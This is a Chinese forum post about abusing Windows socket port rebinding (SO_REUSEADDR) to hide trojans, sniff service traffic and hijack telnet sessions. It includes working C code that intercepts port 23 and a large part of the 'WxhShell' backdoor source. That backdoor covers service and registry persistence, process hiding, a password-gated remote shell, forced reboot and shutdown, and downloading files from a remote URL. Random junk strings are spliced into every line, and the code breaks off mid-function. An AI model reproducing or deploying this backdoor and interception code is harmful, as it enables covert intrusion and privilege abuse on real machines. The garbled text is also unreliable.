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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2uM\?*T@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H^C$2f  
/p_#8}Uh  
  saddr.sin_family = AF_INET; E*X-f"  
^26}j uQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t bEJyA  
%6@->c{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ub-q0[6  
r:Rk!z*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }:a:E~5y  
8[xl3=  
  这意味着什么?意味着可以进行如下的攻击: EgT?Hvx:  
@Lf-=9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g<$q#l~4xH  
:J6lJ8w ?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $c<NEt_\  
U[t/40W}P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xb~8uD5  
|Y&&g=7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  j0+l-]F-  
G2BB]] m3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Kk9W=vd  
p?XVO#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (N :vDq'  
C6{\^kG^j2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5>u,Qh  
)7s(]~z  
  #include x|lX1Mh$  
  #include }*9mNE  
  #include \olYv!f  
  #include    dNfME*"yN  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >s|zr S)  
  int main() kx31g,cf]w  
  { 'sT7t&v~  
  WORD wVersionRequested; EwKFT FL  
  DWORD ret; ;"Q.c#pA$g  
  WSADATA wsaData; oK#UEn  
  BOOL val; %29lDd(<  
  SOCKADDR_IN saddr; T_/ n#e  
  SOCKADDR_IN scaddr; 0l+[[ZTV  
  int err; H4"'&A7$  
  SOCKET s; <Po$|$_~  
  SOCKET sc; ATscP hk  
  int caddsize; c1aIZ  
  HANDLE mt; KO3X)D<3  
  DWORD tid;   ur K~]68  
  wVersionRequested = MAKEWORD( 2, 2 ); vA&MJD{  
  err = WSAStartup( wVersionRequested, &wsaData ); Jwt_d }ns  
  if ( err != 0 ) { j9^V)\6)  
  printf("error!WSAStartup failed!\n"); 2U.'5uA"L  
  return -1; ;G|#i? JJ  
  } ' >R?8Y  
  saddr.sin_family = AF_INET; x,:DL)$1  
   $~5ax8u&!#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Dlqvz|X/  
"cDMFu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #Q'j^y 7=z  
  saddr.sin_port = htons(23); V18 A|]k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f 6 k=ew  
  { hYB3tT  
  printf("error!socket failed!\n"); !M@jW[s  
  return -1; PB(I3R9  
  } _`.Wib+  
  val = TRUE; Ev>P|k V&A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2D)B%nM[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'B yB1NL  
  { #bCQEhCy  
  printf("error!setsockopt failed!\n"); 1=z6m7@'-  
  return -1; 4U>g0  
  } :Fh#"<A&&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l#bE_PD;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BHNEP |=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +*L<"@  
k$3Iv"gbx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Cm%|hk>fQ  
  { </]a`h]  
  ret=GetLastError(); #sM`>KG6T1  
  printf("error!bind failed!\n"); v+(-\T\i  
  return -1; pPsT,i?  
  } I_\?wSNGM  
  listen(s,2); ^2C \--=;  
  while(1) yIYQ.-DkS+  
  { _?v&\j  
  caddsize = sizeof(scaddr); !q!5D`  
  //接受连接请求 tE WolO[\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ex6 QHUQ  
  if(sc!=INVALID_SOCKET) 2$TwD*[  
  { 8h,=yAn5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *3\N j6  
  if(mt==NULL) vR4omB{  
  { w:aV2  
  printf("Thread Creat Failed!\n"); = P$Q;d  
  break; W$xW9u8@+(  
  } F4PWL|1  
  } t Z@OAPRx  
  CloseHandle(mt); {4eI} p<  
  } i F \H  
  closesocket(s); bXi(]5  
  WSACleanup(); T^Ol=QCu  
  return 0; [*U.bRs  
  }   T/234;Uf|  
  DWORD WINAPI ClientThread(LPVOID lpParam) =$SvKzN  
  { <f#pS[A  
  SOCKET ss = (SOCKET)lpParam; . ZP$,  
  SOCKET sc; XaF;IS@A  
  unsigned char buf[4096]; 0K4A0s_R`  
  SOCKADDR_IN saddr; KAg-M#  
  long num; mJZB@m u?  
  DWORD val; 5Nl?Km~  
  DWORD ret; ~S\8 '  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4JRQ=T|P7I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <:4b4Nl  
  saddr.sin_family = AF_INET; 5,J.$Sax  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); CsEU:v  
  saddr.sin_port = htons(23); YI>9C 76L  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e$7KMH=  
  { @MP;/o+  
  printf("error!socket failed!\n"); *k@D4F ruP  
  return -1; +GncQs y  
  } F^.~37= @  
  val = 100; Q^*4FH!W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Irui{%T  
  { <%.lPO]&E  
  ret = GetLastError(); t;V^OGflv  
  return -1; L7[f-cK2:  
  } gx8i|]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Tvt(nWn(H1  
  { P9W?sPnC5  
  ret = GetLastError(); t;`ULp~&  
  return -1; 5zOC zm  
  } mt~E&Z(A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6)c-s|#  
  { Mm;[f'{M)  
  printf("error!socket connect failed!\n"); 3&6sQ-}*  
  closesocket(sc); "}vxHN#  
  closesocket(ss); aNBwb9X  
  return -1; B=~uJUr  
  } =b, m3 1  
  while(1) m d `=2l  
  { zkquXzlgB  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b=5ZfhIg[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Xl:.`{5L  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a(kY,<}  
  num = recv(ss,buf,4096,0); %aV~RB#  
  if(num>0) ^1yD&i'q  
  send(sc,buf,num,0); rv`GOta*  
  else if(num==0) 1 @i/N  
  break; Nt\0) &b  
  num = recv(sc,buf,4096,0); \OXQ%J2v  
  if(num>0) >pp#>{}  
  send(ss,buf,num,0); @,9YF }  
  else if(num==0) Z/T( 4  
  break; KciN"g|X  
  } |h&Z.  
  closesocket(ss); kj6H+@ {  
  closesocket(sc); #lO ^PK  
  return 0 ; %|j8#09  
  } A/{!w"G  
p[ &b@U#  
 /PTq.  
========================================================== Ahc9HA2  
;2$0j1>  
下边附上一个代码,,WXhSHELL U }AIOtUw  
6Yc(|>b!  
========================================================== X`J86G)  
B*t1Y<>x  
#include "stdafx.h" mZG n:f}=  
G1\F7A  
#include <stdio.h> vCXmu_S4^>  
#include <string.h> V(8,94vm  
#include <windows.h> j^WYM r,  
#include <winsock2.h> j+rY  
#include <winsvc.h> t1G__5wp  
#include <urlmon.h> \ C>+ubF  
Zl{9G?abCT  
#pragma comment (lib, "Ws2_32.lib") T Y% =Y=  
#pragma comment (lib, "urlmon.lib") B3pjli  
pRzL}-[/v  
#define MAX_USER   100 // 最大客户端连接数 nM ?Nf}  
#define BUF_SOCK   200 // sock buffer Lz!JLiMEET  
#define KEY_BUFF   255 // 输入 buffer wWSo+40  
1xu~@v 60  
#define REBOOT     0   // 重启 1wm`a  
#define SHUTDOWN   1   // 关机 ^!x! F  
8]oolA:^4s  
#define DEF_PORT   5000 // 监听端口 M6bM`wHH>  
'1(6@5tyWk  
#define REG_LEN     16   // 注册表键长度 Eg8b|!-')8  
#define SVC_LEN     80   // NT服务名长度 f'w`<  
{> <1K6t  
// 从dll定义API 7XLqP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qWx{eRp d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ve:Oe{Ie{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8&nb@l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3,K\ZUU.,  
Pd-LDs+Ga  
// wxhshell配置信息 `HO] kJpX  
struct WSCFG { ~9xkiu5~  
  int ws_port;         // 监听端口 ; O(Ml}z  
  char ws_passstr[REG_LEN]; // 口令 tRO=k34  
  int ws_autoins;       // 安装标记, 1=yes 0=no Zw _aeJ  
  char ws_regname[REG_LEN]; // 注册表键名 KCAV  
  char ws_svcname[REG_LEN]; // 服务名 #C~ </R%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c*]f#yr?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gcB hEw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^b|I^TN0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h"/'H)G7_&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2W`WOBz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xs# _AX  
JWYe~  
}; J@"UFL'^  
,RM8D)m\  
// default Wxhshell configuration dpK -  
struct WSCFG wscfg={DEF_PORT, G.^)5!By  
    "xuhuanlingzhe", QqRF?%7q"q  
    1, '2hy%  
    "Wxhshell", 2g~ @99`  
    "Wxhshell", <QO1Yg7}  
            "WxhShell Service", 0kNKt(_  
    "Wrsky Windows CmdShell Service", D4C:%D  
    "Please Input Your Password: ", ;obOr~Jx'5  
  1, d7mn(= &  
  "http://www.wrsky.com/wxhshell.exe", }2;iIw`  
  "Wxhshell.exe" 9_nbMs   
    }; '=%`;?j  
$(+xhn(O  
// 消息定义模块 K0>+-p oL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8 aIqc  
char *msg_ws_prompt="\n\r? for help\n\r#>";  S,ea[$_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /}J_2  
char *msg_ws_ext="\n\rExit."; Qe\vx1GRLH  
char *msg_ws_end="\n\rQuit."; @x!,iT  
char *msg_ws_boot="\n\rReboot..."; KO~KaN  
char *msg_ws_poff="\n\rShutdown..."; v|\#wrCT?  
char *msg_ws_down="\n\rSave to "; |cP:1CRzi  
TnKv)%VF  
char *msg_ws_err="\n\rErr!"; ?QzL#iO }h  
char *msg_ws_ok="\n\rOK!"; L6DYunh}^N  
rfYa<M Qc  
char ExeFile[MAX_PATH]; lS#: u-k  
int nUser = 0; +3o0GJ   
HANDLE handles[MAX_USER]; <\fA}b  
int OsIsNt; ?|/K(}  
*9uNM@7&0  
SERVICE_STATUS       serviceStatus; ^_g%c&H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Kw$@_~BJ6  
:o8|P  
// 函数声明 4hLk+z<n  
int Install(void); L\UGC%]9  
int Uninstall(void); "]kzt ux  
int DownloadFile(char *sURL, SOCKET wsh); 4}k@p>5v'  
int Boot(int flag); !02y'JS1  
void HideProc(void); hc[J,yG  
int GetOsVer(void); [Eccj`\e g  
int Wxhshell(SOCKET wsl); ep?D;g  
void TalkWithClient(void *cs); IW&*3I<K  
int CmdShell(SOCKET sock); 0ju-l= w  
int StartFromService(void); > Xh=P%  
int StartWxhshell(LPSTR lpCmdLine); jex\5  
!=PH5jTY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @TD=or .&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U#S-x5Gn  
2 oV6#!{Z  
// 数据结构和表定义 [DDe}D3C  
SERVICE_TABLE_ENTRY DispatchTable[] = /RMtCa~  
{ 4v |i\V>M  
{wscfg.ws_svcname, NTServiceMain}, ib#rT{e  
{NULL, NULL} 0%%U7GFB5  
}; 2>o^@4PnZ  
nDO7  
// 自我安装 K-)!d$$   
int Install(void) D_0sXIbg  
{ ybqmPT'|_  
  char svExeFile[MAX_PATH]; o$l8"Uv  
  HKEY key; =0] K(p,  
  strcpy(svExeFile,ExeFile); egSs=\  
L.yM"  
// 如果是win9x系统,修改注册表设为自启动 UPr& `kaJ  
if(!OsIsNt) { dsx<ZwZN>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .?5 ~zK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 036m\7+Qj  
  RegCloseKey(key); utuWFAGn A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (lS[a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZD'mwj+K  
  RegCloseKey(key); "yh2+97l  
  return 0; /g!ZU2&l  
    } xvl{o  
  } #n{4f1TZ  
} .\T!oSb4[  
else { W_E^+Wl@  
l0`bseN <  
// 如果是NT以上系统,安装为系统服务 0m]QQGvJ{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F~fBr  
if (schSCManager!=0) NJgu`@YoI  
{ WZn;u3,R  
  SC_HANDLE schService = CreateService 2ua!<^,  
  ( 7yT/t1)  
  schSCManager, fh3uo\`@  
  wscfg.ws_svcname, XPqGv=CN  
  wscfg.ws_svcdisp, L(K 5f7\  
  SERVICE_ALL_ACCESS, R&;x_4dr^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5I1YB+$}e  
  SERVICE_AUTO_START, nRB3VsL  
  SERVICE_ERROR_NORMAL,  R*2N\2  
  svExeFile, 3IQI={:k|D  
  NULL, +DX P &Q  
  NULL, ?!U.o1  
  NULL, }q]*aADe  
  NULL, }A@:JR+|  
  NULL W)bSLD   
  ); i 0/QfB%O  
  if (schService!=0) b way+lh  
  { zJW2F_  
  CloseServiceHandle(schService); f~\H|E8(  
  CloseServiceHandle(schSCManager); MXfyj5K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @(35I  
  strcat(svExeFile,wscfg.ws_svcname); PNo:[9`S;m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =E]tEi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $;G<!]& s  
  RegCloseKey(key); ^*`#+*C  
  return 0; Jh=.}FXnjL  
    } l$\B>u,>  
  } qhvT,"  
  CloseServiceHandle(schSCManager); 3{|~'5*  
} p*42 @1,  
} ,(Zxd4?y  
HQ9tvSc  
return 1; yOQae m^O  
} gAorb\iJ  
iYvzZ7 8f  
// 自我卸载 %m f)BC  
int Uninstall(void) {+_p?8X  
{ 8g!79q\c4  
  HKEY key; Qx,#Hj  
48^C+#Jbc  
if(!OsIsNt) { Vf~-v$YI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O.X;w<F/V  
  RegDeleteValue(key,wscfg.ws_regname); ;@ixrj0u  
  RegCloseKey(key); rZpsC}C'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ],0I`!\  
  RegDeleteValue(key,wscfg.ws_regname); dR.?Kv(,E  
  RegCloseKey(key); R/"-r^j  
  return 0; ;f[##=tm  
  } 3Fn}nek  
} ejyx[CF  
} 9q$^x/z!  
else { EGqu-WBS  
z-kv{y*Hu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s<#BxN  
if (schSCManager!=0) X41Qkf{  
{  <a $!S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); beikzuC  
  if (schService!=0) H!7?#tRU  
  { zn^7#$fC  
  if(DeleteService(schService)!=0) { B*O/>=_  
  CloseServiceHandle(schService); b j@R[!ss  
  CloseServiceHandle(schSCManager); T^#d;A  
  return 0; F*#!hWtb  
  } mMXDzAllB  
  CloseServiceHandle(schService); KzV|::S^  
  } C^,b aCX  
  CloseServiceHandle(schSCManager); eq%cRd]u  
} xS%&l)dT  
} :3R3 >o6m  
O>h h  
return 1; 0lniu=xmQ-  
} 8g)$%Fy+N  
zF^H*H  
// 从指定url下载文件 D=z="p\  
int DownloadFile(char *sURL, SOCKET wsh) ]!sCWR  
{ 6?%$e$s  
  HRESULT hr; F%$q]J[  
char seps[]= "/"; "@ ^<~bw  
char *token; -QJ8\/1>  
char *file; j*|0#q;e6  
char myURL[MAX_PATH]; Mx6 yk,  
char myFILE[MAX_PATH]; =|Qxv`S1  
BaI-ve  
strcpy(myURL,sURL); oKGF'y?A>  
  token=strtok(myURL,seps); Ru#pJb(R  
  while(token!=NULL) Ih.)iTs~%  
  { bcwb'D\a  
    file=token; c-&Q_lB  
  token=strtok(NULL,seps); W&cs&>F#  
  } $eT[`r  
./3/3& 6  
GetCurrentDirectory(MAX_PATH,myFILE); (?'vT %  
strcat(myFILE, "\\"); *2-b&PQR{  
strcat(myFILE, file); {ixKc  
  send(wsh,myFILE,strlen(myFILE),0); 6(7{|iY  
send(wsh,"...",3,0); Q~ Ad{yC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z.RM85?T  
  if(hr==S_OK) -a>CF^tH  
return 0; LNR1YC1c  
else k)D5>T  
return 1; }z/%b<o_  
hNYO+LrI)  
} zQ,M795@EA  
I>l^lv&[+  
// 系统电源模块 W f8@ B#^{  
int Boot(int flag) q%q+2P>  
{ .p=J_%K}0x  
  HANDLE hToken; LqI&1$#  
  TOKEN_PRIVILEGES tkp; N-2_kjb!  
B f  y  
  if(OsIsNt) { A#?Cts ,M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0Cf'\2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /mp!%j~  
    tkp.PrivilegeCount = 1; V\L%*6O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &$2d=q8mh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jPz1W4pk  
if(flag==REBOOT) { >#&25,Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OY81|N j  
  return 0; 6 F39'  
} A =Z$H2  
else { .Ow8C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i9qIaG/  
  return 0; -{Ar5) ?='  
} xH` VX-X3  
  } 9 5j`^M)Q  
  else { vpT\ CjXHZ  
if(flag==REBOOT) { jHE^d<=O^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XefmC6X  
  return 0; Nc[N 11?O  
} Mr4,?Z&`-d  
else { ' e!WZvr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N8kNi4$mp=  
  return 0; ^^!G{ *F  
} Q;z!]hjBM  
} >iG3!Td)y  
[FF}HWf  
return 1; xj8z*fC;  
} &M3KJ I0L  
Y d~J(  
// win9x进程隐藏模块 EBL-+%J8  
void HideProc(void) s~>1TxJe  
{ s3@mk\?qMe  
-(lP8Y~gFY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OXKV6r6f  
  if ( hKernel != NULL )  W{Z 7=  
  { `x>6Wk1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NMhpKno  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Svo\+S  
    FreeLibrary(hKernel); 6yAZvX  
  } !kb:g]X  
2,g4yXws5  
return; .:Sk=r4u\  
} @VG@|BQWa  
E>5p7=Or;"  
// 获取操作系统版本 2cIbX  
int GetOsVer(void) 1 \aTA,  
{ dXM8iP  
  OSVERSIONINFO winfo; PrfG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0n kC%j  
  GetVersionEx(&winfo); )'RaMo` 4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P{QHG 3  
  return 1; Z1 ($9hE>  
  else yw7(!1j=  
  return 0; 7hPwa3D^  
} UA~ 4O Q]  
aMHC+R1X  
// 客户端句柄模块 %-K5sIz  
int Wxhshell(SOCKET wsl) +zLw%WD[l  
{ lEHXh2  
  SOCKET wsh; ;&}z L.!jo  
  struct sockaddr_in client; (jyufHm  
  DWORD myID; f9kd&#O&  
xw_)~Y%\  
  while(nUser<MAX_USER) (4ZO[Ae  
{  -K8F$\W  
  int nSize=sizeof(client); !||Gfia  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |sFd5X  
  if(wsh==INVALID_SOCKET) return 1; MXEI/mDYK  
T=sAy/1oR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `T1bY9O.  
if(handles[nUser]==0) =6=:OId  
  closesocket(wsh); 0QfDgDX  
else -Hw3rv3o  
  nUser++; gdqBT]j  
  } vV 9vB3K5?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EH M59s|B  
}#4Ek8nFR  
  return 0; 1t^9.!$@y  
} 4J(-~  
Q/4ICgo4  
// 关闭 socket &)||~  
void CloseIt(SOCKET wsh) cqs.[0 z#B  
{ 7 wEv`5  
closesocket(wsh); puWMgvv  
nUser--; TKGaGMx6@  
ExitThread(0); ~@-r  
} ybFxz  
~$[fG}C.K  
// 客户端请求句柄 <pHm=q/U  
void TalkWithClient(void *cs) -gba&B+D"  
{ MVvBd3  
j} ^3v #  
  SOCKET wsh=(SOCKET)cs; f#GMJ mCQs  
  char pwd[SVC_LEN]; hjFht+j1  
  char cmd[KEY_BUFF]; @>~\So|  
char chr[1]; HB}rpiB  
int i,j; +0Q +0:  
kb/BE J  
  while (nUser < MAX_USER) { #wRhR>6  
_TsN%)m  
if(wscfg.ws_passstr) { LJ@r+|>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GU@#\3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cRbA+0m>  
  //ZeroMemory(pwd,KEY_BUFF); 39P55B/o%  
      i=0; E7@Gpu,o  
  while(i<SVC_LEN) { ~UO}PI`C  
Rj>A",  
  // 设置超时 q<z8P;oP^  
  fd_set FdRead; ~re}6-?  
  struct timeval TimeOut; GQA\JYw|oY  
  FD_ZERO(&FdRead); R@tEC)Zn  
  FD_SET(wsh,&FdRead); t[X^4bZd  
  TimeOut.tv_sec=8; /JC1o&z_T  
  TimeOut.tv_usec=0; iZeq l1O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;sAGTq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &<uLr *+*  
ZxT E(BQv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )mBYW}} T  
  pwd=chr[0]; vS0 ii  
  if(chr[0]==0xd || chr[0]==0xa) { VR&dy|5BO  
  pwd=0; $)o0{HsL+  
  break; Kn@#5MC rU  
  } g.hYhg'KUh  
  i++; 9Scg:}Nj  
    } 2/s42 FoG  
-PSgBH[  
  // 如果是非法用户,关闭 socket vWeY[>oGur  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ug ;Xoh5w  
} 2Zuo).2a.  
'#LzQ6Pn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FG{les+:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QdQ1+*/+U  
Y.Z:H!P);$  
while(1) { mS![J69(  
~KkC089D  
  ZeroMemory(cmd,KEY_BUFF); #m?)XB^_  
5toa@#Bc%  
      // 自动支持客户端 telnet标准   AL3iNkEa  
  j=0; t;h`nH[  
  while(j<KEY_BUFF) { z5M6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -40X3  
  cmd[j]=chr[0]; _~\ } fY  
  if(chr[0]==0xa || chr[0]==0xd) { Is }kCf  
  cmd[j]=0; &b5(Su  
  break; 0^o/c SF  
  } jED.0,+K !  
  j++; ;e5PoLc  
    } +D]raU  
0D@$  
  // 下载文件 -/{FGbpR;  
  if(strstr(cmd,"http://")) { {b4`\ I@<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wDW%v@  
  if(DownloadFile(cmd,wsh)) *w*>\ZhOm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |M5#jVXj  
  else [yQ%g;m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9.M'FCd~M  
  } R3|4|JlGR  
  else { \#dacQ2E@  
N\|z{vn  
    switch(cmd[0]) { ] T]{VB  
  ^&1O:G*"  
  // 帮助 |H_WY#  
  case '?': { p5or"tK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YuknZ&Q  
    break; /R=MX>JA;  
  } 2m yxwA5  
  // 安装 eeCG#NFY5  
  case 'i': { miQ*enZi  
    if(Install()) =NC??e{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o|z@h][(l(  
    else ={oNY.(Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J$1H3#VV G  
    break; $B%KkD  
    } Ta?}n^V?;  
  // 卸载 N2A6C$s  
  case 'r': { '0q$qN  
    if(Uninstall()) *qO) MpG{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nv36#^Z  
    else iD_y@+iz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T Q4L~8  
    break; Ri"hU/H{  
    } |JYb4J4Ni  
  // 显示 wxhshell 所在路径 LiT%d  
  case 'p': { A2M( ad  
    char svExeFile[MAX_PATH]; d8jH?P-"  
    strcpy(svExeFile,"\n\r"); -9= DDoO  
      strcat(svExeFile,ExeFile); OriYt  
        send(wsh,svExeFile,strlen(svExeFile),0); r@zT!.sc!  
    break; >iOf3I-ATt  
    }  MYy58N  
  // 重启 2Wluc37  
  case 'b': { Vl5>o$G|<.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 70R6:  
    if(Boot(REBOOT)) =+j3E<w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;HXk'xN  
    else { Ei@  
    closesocket(wsh); \/3(>g?4  
    ExitThread(0); 0x-g0]  
    } [%dsq`b#  
    break; fS4W*P[B3  
    } sS}:Od  
  // 关机 Io3-\Ff  
  case 'd': { \~,\|  
